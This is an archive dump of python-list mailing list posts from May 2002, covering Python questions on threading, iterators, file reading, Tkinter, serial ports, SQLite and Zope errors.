<6dMD8.51046$zW3.689552@news1.tin.it> Message-ID: While it may not be part of any published standard, the several SQL's that i've worked with (oracle, sybase/ms and something else whose name eludes me at the moment) include the "RLIKE" clause to denote re matches. David LeBlanc Seattle, WA USA > grep and SQL have little in common. You can use regular expressions > in PostgreSQL, but that's a definitely *non-standard* extension to SQL! > Besides, I doubt performance would be dramatically enhances as long as > your searches are RE-based anyway, as they'd have to scan everything in > any case, no matter where you store the "everything". > > Alex > > -- > http://mail.python.org/mailman/listinfo/python-list From daverz at mindspring.com Sun May 19 20:24:05 2002 From: daverz at mindspring.com (Dave Cook) Date: 20 May 2002 00:24:05 GMT Subject: How do you code in Python ??? References: <409a56e2.0205170047.429beb44@posting.google.com> Message-ID: On 17 May 2002 01:47:09 -0700, Shagshag wrote: > By now to write a function i write it in a text editor (with coloured > syntax), copy and paste it in idle try it, then go back to text > editor to debug it and so on until i've tuned it like i want, then > next function and so on until i complete module... And that's really > boring theses permanent back and forth... > > So how do you do it ? Which tools do you use ? xemacs. Ctrl-C Ctrl-C to run the app. Dave Cook From opengeometry at NOSPAM.yahoo.ca Mon May 13 16:40:20 2002 From: opengeometry at NOSPAM.yahoo.ca (William Park) Date: 13 May 2002 20:40:20 GMT Subject: Read file from bottom References: <3CE01380.81F9A087@jpl.nasa.gov> Message-ID: Julia Bell wrote: > I'm currently using > line = input_handle.readline() > to read individual lines from an input file; however, I'm only generally > interested in the last few lines of the line (not the preceeding several > thousand lines). > > Is there an efficient (and relatively easy - I'm new to Python) way of > reading the file from the last line backward instead of the first line > forward? > > (I do not want to read the entire file using readlines because it could > overwhelm the memory.) tail | python script.py -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From debl2nonspammyyy at bellatlantic.net Thu May 30 21:28:55 2002 From: debl2nonspammyyy at bellatlantic.net (David Lees) Date: Fri, 31 May 2002 01:28:55 GMT Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? References: Message-ID: <3CF6D21B.42B69E3@bellatlantic.net> I have not looked at the source, but it is pretty easy to truncate a few decimal places and then suppress trailing zeros. david lees "David K. Trudgett" wrote: > > On Friday 2002-05-31 at 10:18:34 +1000, Delaney, Timothy wrote: > > > > I suppose arguments could be made on both sides... > > > > I would make a different argument ... that Python is not a "scripting" > > language. > > I suppose that's true: it's not *just* a scripting language. Neither > is Perl for that matter. > > In one way, I don't mind getting "correct" answers, but in another > way, with my RAD hat on, I'd prefer not to have to worry too much > about rounding errors and such. I don't know how Perl and Python 1.5.2 > manage their trickery, but I suppose it could raise its ugly head and > bite you one day. :-) > > Cheers > > David Trudgett From whisper at oz.net Wed May 22 13:52:26 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 22 May 2002 10:52:26 -0700 Subject: Why is this question so beloved? Re: Is python really slow? In-Reply-To: Message-ID: This question is so beloved because it is in the nature of men to compete even when it's irrelevent. "My is then your ". Python in and of itself is a great language that stands on it's own merits! It's faster then some, slower then others. Some will like it, some won't. Don't worry, be happy. Dave LeBlanc Seattle, WA USA From cliechti at gmx.net Sat May 25 17:32:42 2002 From: cliechti at gmx.net (Chris Liechti) Date: 25 May 2002 23:32:42 +0200 Subject: socket sends unexpected extra word in UDP packet References: <20020525170124.3b2d7755.pfortin@pfortin.com> Message-ID: Pierre Fortin wrote in news:20020525170124.3b2d7755.pfortin at pfortin.com: > I created a simple UDP script which does not work with some remote > hosts... the only difference I can find is that the packet start looks > like this: > > MACdst, MACsrc, 0x0000, 0x0800, 0x45... > ^^^^^^ This is extra. > > Some systems seem to ignore the extra 0x0000; but my customer's server > doesn't... At this point, I don't > know precisely what OS the server is running. > > I can have a fix tested if someone has a patch... I'm not comfortable > with the socketmodule.c source; but I'm hunting for the bug in the > meanwhile... it would help when you could post some small script that shows you problem. not many people will come up with their own test script but if you post one many people could verify your results and code and give you some specific advice (or even guess the unknown OS :-). chris -- Chris From stephen at theboulets.net Thu May 2 09:55:59 2002 From: stephen at theboulets.net (Stephen Boulet) Date: Thu, 02 May 2002 08:55:59 -0500 Subject: Command history in python shell under linux References: Message-ID: Where is readline support enabled? I tried running './configure --help' in the source directory for python, but readline wasn't one of the options... -- Stephen Andrei Kulakov wrote: > In article , Stephen Boulet wrote: >> When I hit the up arrow in the python shell, I get: >> >> ^[[A >> >> How do I set up things so that I get the previous command? Thanks. >> >> -- Stephen >> >> My versions: >> >> $ rpm -qa | grep python >> python-imaging-1.1.2-4mdk >> libpython2.2-2.2-9mdk >> pythonlib-1.28-1mdk >> python-base-2.2-9mdk >> python-2.2-9mdk >> python-numeric-20.3-2mdk >> python-docs-2.2-9mdk >> rpm-python-4.0.3-10mdk >> libpython2.2-devel-2.2-9mdk >> > I don't know about RH, but you can compile your python with readline > module. You have to get python source file and edit Modules/Setup file > and uncomment the readlines.c line. From achim.domma at syynx.de Thu May 2 04:43:10 2002 From: achim.domma at syynx.de (Achim Domma) Date: Thu, 2 May 2002 10:43:10 +0200 Subject: startElementNS Message-ID: Hi, can somebody give me a minimal example how to use namespace processing with SAX ? I'm not able to get 'startElementNS' of my ContentHandler get called. Setting 'feature_namespaces' does not change anything, but the documentation says it should be the default anyway !? I'm using ActiveStates Python 2.2.1. 'Normal' (i.e. without namespaces) SAX processing works without problems. greetings Achim From anangia at mailcity.com Sat May 25 03:56:20 2002 From: anangia at mailcity.com (SneakerNet) Date: Sat, 25 May 2002 19:56:20 +1200 Subject: RS232 + python... Message-ID: Hey all.. For our project I have to make a GUI to be able to set values to a device hooked up to the serial port.. I started with matlab but found some complications as i had some trouble under winNT @ university.. so decided to switch to python ;o) but alas i just found some documentation on how to do RS232 communication but the modules that i have downloaded from this site http://balder.prohosting.com/ibarona/en/python/uspp/uspp_en.html but when i try the first line which is "from uspp import *" i get a error. can someone pls help me out.. From what i have found out by reading the documents on uspp is that it was only tested under win95 and i have a feeling that it might not work under win2k. can someone pls pls help me out Regards From cliechti at gmx.net Mon May 6 19:12:31 2002 From: cliechti at gmx.net (Chris Liechti) Date: 7 May 2002 01:12:31 +0200 Subject: streaming audio References: Message-ID: Rob Brown-Bayliss wrote in news:mailman.1020721811.32388.python-list at python.org: > On Tue, 2002-05-07 at 10:29, brueckd at tbye.com wrote: > >> That might come close, but instead of syncing the play of the songs, >> you'd be syncing the request-buffer-and-then-play of the songs, so >> you still might end up with clients off by a second. > > I was think more along the lines of the clients tell the server they > have a sufficient buffer of the song then the when all clients are > ready the server tells them all to play. Sort of like "We all have a > 3 second lead, lets go" approach. but if one machine fails all other must wait and your party will not have the ambient you want :-( i would rather send out a timecode on which each machine can sync. syncing multiple machines clocks in ms range and more accurate is solved for some time (NTP, network time protocol, isn't it? i know there are some RFCs and linux services but haev not used one personaly) if your stream contains absolute time markers, each machine knows when to play regarldess if its buffer is full or half empty, no matter if you jump in the programm or if you all start together. of course the markers need to be a bit a head of time. you want a buffer for occasional packet retransmits or bandwith drops because of other network traffic. say 1 to 3 seconds? note that all machines in the net must have a sufficiently large buffer for that time and you might not want to choose it too long because when you press play you want to hear something. (in an advanced system you could gradualy increase the ahead time to achieve fast play but stability in the long run. the ahead time is given by the server, not by the client as other "unsynchronized" streaming services like realplayer, quicktime etc. do) >> If you have/write a client plugin to your music player to receive >> multicast > > I breifly looked at multicast, but there appear to be several > "standards" rather than a standard :o) i think multicast is primary to lower the bandwith for multiple clients when using a stream. if its only local a UDP broadcast may be safe enough. and if you have many lost packets (with TCP or UDP) on one machine you can not go back and play them because you would loose sync with all the other machines. >> All this is great stuff if you're looking for an interesting project >> that'll end up being useful, but if you're mostly interested in >> getting it done then I'd imagine that there are some pre-built, >> non-Python, open source solutions out there that'd be easier > > I had a breif look on freshmeat and a google serach, but all I could > find were mp3 servers and expensive hardware. i think with your desire to not use mp3, you increase the level of this project. you could also take OGG or some simple compression. but compressed data has some advantages like reduced bandwith (or more programs on the same wire), reduced memory requirements (larger buffers possible), reduces CPU usage in some cases, if you store the compressed data on disk 6 to 12 times more music on the same HD and more. (you can choose very high quality compression - you won't realy hear the difference to an uncompressed CD...) on the other hand truly uncompressed has the advantage of not loosing an entire package beacuse of a single errorous bit (without using advanced error detection and correction). and you will have less delay in the decoder, which makes it a bit (only a small bit) easier to sync diffrent machines. chris -- Chris From chris.myers at ingenta.com Thu May 16 14:49:46 2002 From: chris.myers at ingenta.com (Christopher Myers) Date: Thu, 16 May 2002 14:49:46 -0400 Subject: Unnamed Tkinter object reference? References: <3CE13ED5.B0D29BC4@ingenta.com> Message-ID: <3CE3FF4A.EE83D797@ingenta.com> Martin, Thanks so much! Combining your code and mine, I(We) have created a very reusable widget, which would most likely be useful to others in Python-opia. Any idea if any of the Tk wrappers out there (Pmw, others?) already have such a widget? Again, many thanks, Chris Martin Franklin wrote: > > On Tuesday 14 May 2002 4:44 pm, you wrote: > > Hello, Python experts! > > > > I have an app where I'm building widgets on the fly, and they do not > > have names, so I can't refer to them to use their methods, but it would > > be useful to be able to get some sort of temporary handle for a widget > > to be able to get/set parameters for it. > > > > Here is one take on it:- > > import calendar, Tkinter > > class TkCalendar(Tkinter.Frame): > def __init__(self, parent, year=2002, month=5): > Tkinter.Frame.__init__(self, parent) > data=calendar.monthcalendar(year, month) > > col=0 > for day in calendar.day_abbr: > Tkinter.Label(self, text=day).grid(row=0, col=col, sticky='nsew') > col+=1 > row=1 > for data_row in data: > col=0 > for day in data_row: > if day==0: > col+=1 > continue > b=Tkinter.Button(self, text=day, command=lambda self=self, > day=day: self.close(day)) > b.grid(row=row, col=col, sticky='nsew') > col+=1 > row+=1 > > self.pack() > > > def close(self, day): > print day > self.quit() > > if __name__=='__main__': > root=Tkinter.Tk() > cal=TkCalendar(root) > root.mainloop() > > HTH > Martin -- Christopher Myers, Graduate Software Developer Ingenta, Inc. 12 Bassett St. Providence, RI 02903 ph: 401.331.2014 x 102 em: chris.myers at ingenta.com aim: chrismyers001 From amitp at Xenon.Stanford.EDU Sun May 12 15:43:23 2002 From: amitp at Xenon.Stanford.EDU (Amit Patel) Date: 12 May 2002 19:43:23 GMT Subject: urllib, urllib2, httplib -- Begging for consolidation? References: <23891c90.0205071032.315285e4@posting.google.com> Message-ID: Paul Boddie wrote: | | Longer comment: there seems to be a fair amount of functionality | implemented in one or the other module which isn't readily apparent, | although I often plead ignorance of the contents of the standard | library. I also believe that the URL parsing module (urlparse) might | also need some work, given recent complaints about "file:" URLs. | | Paul Examples of weird module placement: cgi.escape() performs HTML escaping. I'd expect HTML escaping to be in htmllib instead of cgi. And I'd expect that cgi.escape() would perform some escaping for CGI-- like URL escaping except that it'd make spaces into plusses (this function is in urllib, called "quote_plus" instead of something like "escape"). And url/cgi escaping isn't in urllib2, only urllib. - Amit -- -- Amit J Patel, Computer Science Department, Stanford University http://www-cs-students.stanford.edu/~amitp/ From matt at kimball.net Sat May 18 16:54:36 2002 From: matt at kimball.net (Matt Kimball) Date: Sat, 18 May 2002 13:54:36 -0700 (PDT) Subject: Threading unfairness Message-ID: <20020518135440.2621.h004.c000.wm@mail.kimball.net.criticalpath.net> While writing some multithreaded GUI code with ActivePython 2.2.1 under Windows XP, on a single processor machine, and I noticed that my user-interface thread was very unresponsive when I had a background computation thread going. This annoyed me. It seemed like the main thread where the GUI code was running was being starved of CPU time. Since there doesn't seem to be any way to set thread priorities with Python, I "fixed" the problem with inserting frequent 'time.sleep(0)' calls in my compute-intensive thread, and that seemed to give my main GUI thread more time to execute when a user-interface event occurred. However, it got me wondering just how bad the situation was, so I wrote a simple program to test Python threads, and find the maximum time that individual threads go without getting any CPU time. Interestingly, the problem seems worse with a low number of threads. In the case of only the main thread and one thread spawned by the main thread, I see execution gaps of ~0.25 seconds. That is, each thread is getting a full 0.25 second execution time without the other thread executing at all! However, if I increase the number of thread spawned by the main thread to 10, it seems much better. Nine out of ten spawned thread and the main thread have a maximum gap time of ~0.005 seconds, which seems much more reasonable to me, but the first thread spawned by the main thread has an execution gap of ~0.17 seconds, every time. Here is a typical case of one spawned thread: Thread Gap time main 0.241325084613 thread1 0.292677141927 Three spawned threads: Thread Gap time main 0.100827339788 thread1 0.163031893718 thread2 0.100502438159 thread3 0.100673130244 Five spawned threads: Thread Gap time main 0.00585884518841 thread1 0.174716898377 thread2 0.00717269932352 thread3 0.00577838803542 thread4 0.00579235629107 thread5 0.00580353089572 Ten spawned threads: Thread Gap time main 0.00570351818465 thread1 0.175031463496 thread10 0.00545823561356 thread2 0.00513724509665 thread3 0.00610692141026 thread4 0.0051269085875 thread5 0.00494085142122 thread6 0.0050587434996 thread7 0.00564568960567 thread8 0.00589795630435 thread9 0.00749285174516 The code I used to measure this is at http://matt.kimball.net/test_thread.py -- Maybe someone wants to look it over to make sure I'm not doing anything funny, and run a few tests on other operating systems to see how they differ. I think this behavior is probably highly operating system dependent. The python interpreter is assuming the OS will do something reasonably fair when it gives up the global interpreter lock, but it looks like this isn't the case, at least under Windows XP. Still, it would be nice if something could be done to make threading execution more fair, but I'm not sure how to do this without creating some sort of scheduler in the python interpreter itself. Is there anything which can be done? Is the problem as bad under other operating systems? Am I insane to try to do anything in the neighborhood of soft-realtime with Python? -- Matt Kimball matt at kimball.net From chouster at uclink4.berkeley.edu Fri May 31 22:37:34 2002 From: chouster at uclink4.berkeley.edu (Chris) Date: 31 May 2002 19:37:34 -0700 Subject: My .py CGI script works in IE but not Netscape Message-ID: <79b54d28.0205311837.731002aa@posting.google.com> My script doesnt work in Netscape for some reason. I'm developing on a UNIX envionrment with Python 2.2.1. I open up Netscape in windows and only the background picture of my webpage loads... nothing else. However in IE it works perfectly. Any general ideas as to what may be going on? Thanks. Chris From dalke at dalkescientific.com Sat May 11 13:17:19 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Sat, 11 May 2002 11:17:19 -0600 Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> <9o5D8.46853$zW3.570500@news1.tin.it> Message-ID: Alex: > It's a _bit_ more complicated because you have to construct an instance > and stash away the state, but need be novere as complicated as in your > example, I think. .. >> def __getitem__(self, i): >> # To allow use in for loops > No need -- "being an iterator" in itself allows use in for > loops in Python 2.2. __getitem__ was only needed for the > purpose in 2.1 and earlier, where iterators didn't exist. True. I wrote what I did because I've needed to write something which worked with 1.5.2 but I wanted it to also work with newer Pythons appropriately. Of course that also means my mind is stuck in old solutions rather than rethinking things for modern solutions. That's why I couldn't raise StopIteration BTW, in my real code, I also had def __init__(self ...) ... self._n = 0 def __getitem__(self i): assert self._n == i, "forward iteration only" to prevent people from accidentally thinking this was a real list. > > def __iter__(self): > > # For new-style iters > > return iter(self, None) > The two-arguments for of iter requires a callable as its > first argument, and proceeds much like: ... > So, this form of iter is not appropriate here. Generally > a class whose instances are meant to BE iterators, as here, > would just 'return self' in method __iter__. Yep, that should have been return iter(self.next, None) as used in StringIO.py and mailbox.py for this same purpose. (Else .next() on the first "ends" with an infinite number of "" empty strings, and in mailbox -- like mine -- ends with an infinite number of None objects.) (earlier) > Method next should raise StopIteration when done, > not just start returning an unending stream of None. Method .next() of an iterator should raise StopIteration. But the container object itself doesn't need to implement the iteration protocol. Granted, it really should act the same, but I've written many forward iteration objects which use the "end when you start getting Nones back" protocol, so I'm glad the __iter__ solution and the iter(callable, sentinel) function easily allow for that transition. Quick scan of the standard library shows that multifile and pydoc also do a "return a false value" to indicate that next() has nothing more to yield. I also recall scanning the stdlibs to see how others did forward iteration through an object, so I'm not surprised that they exist. In any case, it *is* time for me to change my worn ways. :) Andrew dalke at dalkescientific.com From djc at object-craft.com.au Wed May 22 06:42:42 2002 From: djc at object-craft.com.au (Dave Cole) Date: 22 May 2002 20:42:42 +1000 Subject: Is python really slow? References: <60FB8BB7F0EFC7409B75EEEC13E20192B98BD8@admin56.narex.com> Message-ID: >>>>> "Skip" == Skip Montanaro writes: Bjorn> I'm not a Perl expert, but from what I hear it is considerably Bjorn> harder to extend/embed Perl (someone please correct me if I'm Bjorn> wrong ). Skip> I've heard that interfacing Perl & C is challenging. Still, Skip> there is Inline::C. I wrote two extensions using perlxstut and was still none the wiser about what was really going on. From the first bit of code I wrote for my first Python extension, I had a pretty good idea about what was happening. So, from the statistically significant sample of one, I would say that it is much harder to extend or embed Perl than it is for Python. - Dave -- http://www.object-craft.com.au From mwh at python.net Thu May 9 06:47:59 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 9 May 2002 10:47:59 GMT Subject: Stackless python + official python ? References: <3CDA4598.27A53D75@vip.fi> Message-ID: Pekka Niiranen writes: > After reading "Continuations and Stackless Python" by Christian > Tismer I started wondering if there are any plans to merge his > efforts to official Python release ? Not at present, I believe. > Or is it too late because user and application base of the language > are allready so wide that pure engineering decisions for the > language development are impossible ? The original implementation was too intrusive and baroque to be considered (albeit an amazing bit of work). The current one relies on assembly tricks; it's unlikely that such things would be tolerated in the core. For much more on the subject, feel free to hit google. Cheers, M. -- -Dr. Olin Shivers, Ph.D., Cranberry-Melon School of Cucumber Science -- seen in comp.lang.scheme From postmisc at yahoo.com.au Sat May 18 13:15:20 2002 From: postmisc at yahoo.com.au (Patrick) Date: Sun, 19 May 2002 03:15:20 +1000 Subject: OT: Crazy Programming References: Message-ID: "Huaiyu Zhu" wrote in message news:slrnaebfcd.g8l.huaiyu at gauss.almadan.ibm.com... > > It is not a logical conclusion that if the final recipient has some > limitations then the delivery system cannot help. One of the main function > of scientific instruments it to transform signals from a range that is alien > to human senses to a range that is suitable. Thanks to the transformations, > the *effective range* of our senses augmented with the instruments is > fundamentally and substantially larger than that of the five senses alone. > A mere extention, you say. And yet no sensory extension, no matter how elaborate, will ever be able to detect: > pi :-) To my mind, it is a perfectly logical conclusion that if the final recipient has some limitations (eg. the assumption that all things "REAL" must be entirely or partly perceptible), then the delivery systems indeed cannot help. From owensmk at earthlink.net Thu May 23 11:32:13 2002 From: owensmk at earthlink.net (Michael Owens) Date: Thu, 23 May 2002 10:32:13 -0500 Subject: ANN: PySQLite 0.1 released Message-ID: <200205231032.13390.owensmk@earthlink.net> NAME: pysqlite - Extension module for SQLite database. DESCRIPTION: A Python-DB API Spec v2.0 compliant entension module that connects to SQLite databases. SQLite is a powerful, embedded relational database in a compact C library. It supports a large subset of SQL92 and transactions. It has a simple C/C++ interface requiring only three functions to perform queries. It has TCL bindings and an ODBC driver. Sources are uncopyrighted and can be used for any purpose. More information can be found at . USAGE: import sqlite conn = sqlite.connect(db="db", mode=077) cursor = conn.cursor() SQL = "select genus, species, family, category, author1, rank " \ + " from calflora order by genus, species limit 10;" cursor.execute(SQL) for col in cursor.description(): print "\t %12s - %3s bytes" % (col[0], repr(col[3])) row = cursor.fetchone() while row != None: print "%14s, %15s, %19s, %8s, %25s" % tuple(row) row = cursor.fetchone() SQL = "insert into calflora (family,genus,species) values(%s,%s,%s)" cursor.execute(SQL, ('weedus', 'itchus', 'maximus')) conn.close() HOMEPAGE: There is not much there yet at DOWNLOAD: But you can download it at AUTHOR: Michael Owens LICENSE: BSD NOTES: - Built and tested on Gentoo Linux From Grant_member at newsguy.com Fri May 31 14:09:58 2002 From: Grant_member at newsguy.com (Grant Griffin) Date: 31 May 2002 11:09:58 -0700 Subject: semi-concatenated strings References: Message-ID: In article , Skip says... > ... >You can avoid the backslash with a pair of parens. Recasting my original >example a little: ... Thanks, I didn't know that! (I really gotta take time to read the language reference some day .) > rows = self.executesql(("select cities.city, state, country" + > " from cities, venues, events, addresses" + > " where cities.city like %s" + > " and events.active = 1" + > " and venues.address = addresses.id" + > " and addresses.city = cities.id" + > " and events.venue = venues.id"), > (city,)) > >I'm surprised nobody commented on the rather weird indentation of the SQL >statement in my original example. I use the style in this last example now >(well, without the extra parens and the plus signs). I dunno...I don't know anything about SQL, but your code looks sortta Pythonic. this-whole-nutty-indentation-thing-is-starting-to-catch-on-ly y'rs, =g2 _________________________________________________________________________ Grant R. Griffin g2 at dspguru.com Publisher of dspGuru http://www.dspguru.com Iowegian International Corporation http://www.iowegian.com From brian at sweetapp.com Sun May 5 14:18:05 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sun, 5 May 2002 11:18:05 -0700 Subject: making python scripts backwards compatible In-Reply-To: Message-ID: <000001c1f461$33895d90$445d4540@Dell2> dsavitsk wrote: > this begs the question, why not put a comment that announces what version > you, the author, used to write the code? This at least puts the user on > notice. The originator of the thread extracted a module from Python 2.2. I think that it's pretty clear, in that context, what Python version it is expected to work with. Cheers, Brian From python at rcn.com Wed May 29 09:32:34 2002 From: python at rcn.com (Raymond Hettinger) Date: Wed, 29 May 2002 09:32:34 -0400 Subject: read only the last x bytes from a text file References: Message-ID: "Felix Seeger" wrote > Hi Hello! > > I am writing a log monitor. > It checks the filesize and the new filesize. > > Now I want only the difference between this vars. > eg read the last 1000 bytes from the file. > > How can I do this ? f = open('myfile') f.seek(-1000, 2) s = f.read(1000) Raymond Hettinger From aleax at aleax.it Thu May 9 16:05:27 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 20:05:27 GMT Subject: "a better input" References: <1_tC8.40668$zW3.442583@news1.tin.it> Message-ID: Andrew Dalke wrote: > Alex: >> def isThisAComplexLiteral(this): >> try: complex(this) >> except: return False >> else: return True > > Minor point. "except ValueError:" instead of "except:" as in >>> class X: pass ... >>> complex(X) Traceback (most recent call last): File "", line 1, in ? TypeError: complex() arg can't be converted to complex >>> X is not a complex literal, yet it doesn't give a ValueError. >>> class Y: ... def __complex__(self): raise RuntimeError, "sneaky" ... >>> complex(Y()) Traceback (most recent call last): File "", line 1, in ? File "", line 2, in __complex__ RuntimeError: sneaky Now tell me again how to write a function that takes ANY object and just tell me if it's translatable into complex. Are you SURE "except:" is not the right approach...? >> Of course, the real approach is less silly: >> >> def cooked_input(astr=None): >> if astr=None: astr=raw_input >> for atype in int, long, float, complex: >> try: return atype(astr) > except ValueError: pass # I changed this line >> else: >> return astr > > There may be some exceptions those throw besides ValueError, If astr is a string, no. But if you forget the parentheses on the call to raw_input, as I did (more bugs in my coding...), specific exception checking helps;-). > My worry about "except:" is that it ignores KeyboardInterrupt > (if done at just the right/wrong time) and gives false results Yeah, well, what's the vulnerability window? > for typos, like > > complx(s) > > (raises a NameError, which is caught by the exception and turned > into a False. It's catchable in testing, but not as easy to > identify as a traceback which points out the error location. Sure. But when you have NO idea about the argument, as in the first function, there's really no alternative. You MIGHT catch KeyboardInterrupt earlier if you're the kind who wear braces, a belt, AND clean new undies at all times just in cases belt and braces both fail, though. > And 'True' and 'False'? Nothing like cutting edge CVS Python :) Trying them out (in Python 2.2.1). Still seem a (small) net loss to me, but -- gotta give them a chance, after all. Fair's fair, & all that. Alex From tiberius at ms28.hinet.net Mon May 6 06:25:50 2002 From: tiberius at ms28.hinet.net (Tiberius Teng) Date: 6 May 2002 03:25:50 -0700 Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> Message-ID: <6c92a8bc.0205060225.46b1c6c9@posting.google.com> robline at purdue.edu (Rob Lineberger) wrote in message news:<84773476.0205052134.8c1d533 at posting.google.com>... > I'm trying to learn Python, so I picked up Mark Lutz' Programming > Python. Using latest builds of Python and Pythonwin. > > print 'Hello world!' worked ok. > > As soon as I move on to page 13, Running Module Files, it breaks. I > opened up notepad and created a file called spam.py. When I try to > use it, pythonwin says no such module exists. I saved it in My > Documents, but I have no idea how to tell Python to look there. So I > saved it to C:\Python22\Lib\spam.py. No dice. > > Tried using spam.py from the command prompt, IDLE, etc, all to no > avail. > > Tried setting PYTHONPATH to C:\Python22\Lib but that didn't work > either. > > I can't learn this language if I can't create and import modules. Any > advice? I would recommand you start learning Python by reading "Learning Python" (also by Mark Lutz & David Ascher), not "Programming Python" ... :) However if you put your spam.py in C:\Python22\Lib then typing 'import spam' inside Pythonwin / IDLE should work ... From pyth at devel.trillke.net Mon May 13 13:31:32 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 13 May 2002 19:31:32 +0200 Subject: currying at language level (was: Re: add_command) In-Reply-To: ; from aleax@aleax.it on Mon, May 13, 2002 at 09:55:18AM +0000 References: Message-ID: <20020513193132.D28033@prim.han.de> Alex Martelli wrote: > I'd love to have built-in currying, but the syntax > sugar you propose is clearly too limited (e.g., how > does it apply to keyword-arguments?) does it need to? IOW what problems do you expect? i think the usual TypeErrors when e.g. supplying multiple values for an argument are straight forward to come up with. > (is currying important enough to > deserve special syntax, and, if so, what is the right > sugar for it?) There are some good reasons IMO for making it a syntax thing but first the concepts, agreed. > A more sensible, gradualistic > approach might be to look for consensus on the exact > functionality that can be encapsulated in a built-in, > or even as a curry function that might be part of a > new FP module -- _that_ one we might stand a chance to > get into the standard library, perhaps. If and when > currying becomes so popular as to deserve its own > special syntax sugar, then it may be a better time to > debate the details of that sugar. yes. Only it is not so easy to get even a builtin to provide 'enough' convenience. Consider one of my currying implementations which does it like so: f1=PrebindFunc(f, BINDLATER, 2, BINDLATER, karg1="hehe") But how can you get around the special name 'BINDLATER'? Take 'XXX'? Somehow it doesn't seem right to me to try to makeup a name. Not unless there is a standardization on ONE name which is hard to achieve. > > IMHO currying is a well-understood concept > > It sure is _in a specific way_, the one analyzed and > widely used by Dr Haskell Curry: applying a function > f (which you could consider an "N-argument function" > in traditional terms) to an argument a to yield a new > anonymous function which you could consider an "N-1 > argument function" in traditional terms. I don't know haskell, sorry, but just currying the leftmost arguments is quite restrictive and doesn't fit to python's functio model IMO. > But this doesn't mean we know exactly what should be > done in presence of named/optional arguments and other > cases of variadic functions. "Currying the 1st and > 3rd args of a 3-argument functions" is also a somewhat > unexplored realm AFAIK. If people knew how to do it and if it were easy to type they'd like it, i guess. Wouldn't you? It may be *a bit* like with 'yield'. Once you get it you don't want to live without it. But you didn't know before. Or maybe _you_ did :-) holger From 6e6op at excite.it Tue May 28 11:37:59 2002 From: 6e6op at excite.it (6e6op) Date: Tue, 28 May 2002 17:37:59 +0200 Subject: Another stupid question... References: Message-ID: you can do 2 things: 1) look for the terminal specification you use and (if possible) turn to on the arrows keys code, then type export TERM=vtXXX where XXX is the number of your terminal codes (there is written in some options in your program) 2) change program, i use putty, it's free and pretty nice.. (http://www.chiark.greenend.org.uk/~sgtatham/putty/) "Shagshag13" wrote in message news:ad03jf$te1jk$1 at ID-146704.news.dfncis.de... > > Well i don't know why but i can't use up and downs key in python prompt line > (>>>) > I had the same trouble for erase key but after adding : > > stty erase "^H" > > in .bashrc, it works fine. > > But i still don't know how to do it for up key (i get ^[[A) and down key > (^[[B) > > Thanks in advance, > > S13. > > From russell-python at stuart.wattle.id.au Mon May 13 23:43:53 2002 From: russell-python at stuart.wattle.id.au (russell-python at stuart.wattle.id.au) Date: Tue, 14 May 2002 13:43:53 +1000 Subject: eval_code2: Assertion `(stack_pointer - f->f_valuestack) <= ... Message-ID: <006701c1faf9$91bd0850$80a8a8c0@rstuartwin2k> I got this error (in /var/log/zope): python2.1: Python/ceval.c:695: eval_code2: Assertion `(stack_pointer - f->f_valuestack) <= f->f_stacksize' failed. when using Zope. I was trying to add the Zope Tutorial. Versions on software in use ---- Distribution: RedHat Linux 7.2 http://www.python.org/ftp/python/2.1.3/rpms/rh7.2/python2.1-2.1.3-1.i386.rpm http://www.python.org/ftp/python/2.1.3/rpms/rh7.2/python2.1-devel-2.1.3-1.i386.r pm http://www.taupro.com/static/RPMs/Zope-2.4.3-1.i386.rpm http://www.taupro.com/static/RPMs/Zope-pcgi-2.4.3-1.i386.rpm I notice this has been reported before, version in 2.1.2: http://sourceforge.net/tracker/?func=detail&atid=105470&aid=499788&group_id=5470 That bug is closed, I guess because they hoped it went away in 2.1.3. How do I pursue this further? -------------- Russell Stuart From peter at engcorp.com Sun May 19 08:50:41 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 19 May 2002 08:50:41 -0400 Subject: Threading unfairness References: Message-ID: <3CE79FA1.BEECAFE8@engcorp.com> Tim Peters wrote: > > [Matt Kimball] > > I "fixed" the problem with inserting frequent 'time.sleep(0)' calls > > in my compute-intensive thread, and that seemed to give my main GUI > > thread more time to execute when a user-interface event occurred. > > That works on Windows because the underlying Win32 API Sleep() call takes an > argument of 0 as *meaning* "yield the timeslice". On other OSes it may or > may not work. For example, people playing this trick on Solaris usually use > time.sleep(0.01) instead, because time.sleep(0) is a nop there. Minor, almost off-topic note: We had been unthinkingly using time.sleep(0.01) for a while, just kind of blindly using it as a free "yield timeslice". We had some latency issues and eventually realized that on our system 10 ms is a rather long time to sleep sometimes. We changed to time.sleep(0.001), again without decent analysis that would let me back up any specific claims as to the effect, but our problems appeared to go away. Just in case people start thinking of 0.01 as an idiom for "yield timeslice", without understanding that it can really slow down certain programs... (I'll offer here to listen intently to anyone willing to share his or her knowledge of implementation details (under Linux) relating to what sleep() does with that delay... what _is_ the resolution?) -Peter From mennsimons at gmx.net Mon May 27 09:31:07 2002 From: mennsimons at gmx.net (Der Papst) Date: Mon, 27 May 2002 15:31:07 +0200 Subject: Comparing a password against .htpasswd Message-ID: Hi, on windows machines htpasswd encrypts using only a modified version of MD5. The md5 module delivered together with python does not work with the htpasswd-generated passwords. Has anybody done something in this area? Thanks, willi From lac at strakt.com Sat May 11 11:49:00 2002 From: lac at strakt.com (Laura Creighton) Date: Sat, 11 May 2002 17:49:00 +0200 Subject: Multibyte Character Surport for Python In-Reply-To: Message from martin@v.loewis.de (Martin v. Loewis) of "11 May 2002 15:29:04 +0200." References: <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <200205111549.g4BFn0jX013371@ratthing-b246.strakt.com> > > Apart from you, nobody else agrees with the approach "let's make it > part of the library instead of part of the language". To most users, > the difference appears not to matter (including myself, except that I > think making it part of the language simplifies maintenance of the > feature). > > I don't consider it evil to provide users with options: If UTF-8 is > technically superior 